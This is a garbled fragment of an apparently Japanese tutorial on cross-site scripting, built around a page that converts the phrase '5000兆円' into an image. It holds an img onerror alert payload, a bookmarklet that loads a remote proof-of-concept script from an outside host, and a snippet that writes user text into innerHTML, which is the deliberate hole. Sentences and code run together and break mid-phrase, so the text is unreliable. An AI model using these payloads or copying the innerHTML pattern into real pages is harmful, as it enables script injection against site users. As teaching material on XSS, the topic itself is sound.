<script>
タグの中に書くことが多い<img src="" onerror="alert(0);">
こういう形もよくある<img>
は画像を読み込むタグで、onerror=
は画像が読み込めなかったときに実行されるalert("nunununu") location.href = "http://google.com" document.body.style.backgroundColor = "#09f"
javascript:(function(d,s){s=d.createElement('script');s.src='http://o0i.es/5000tri/poc.js';d.getElementsByTagName('head')[0].appendChild(s);})(document);
alert(0)
が実行されるようなページを作る」のが目標ですfor (let elm of document.querySelectorAll("span,div")) { let textToConvert = elm.innerText // ← 注目 if (textToConvert.includes("5000兆円") || textToConvert.includes("5000兆円")) { let replaced = textToConvert.replace(/(5000|5000)兆円/g, "<img src='//o0i.es/5000tri/5000tri.png' style='height:80px;'>") elm.innerHTML = replaced } }
view-source:http://o0i.es/5000tri/poc.html
とアドレスバーに打つとソースコードが見られます"
とかを勝手に変換しちゃうんですね〜alert()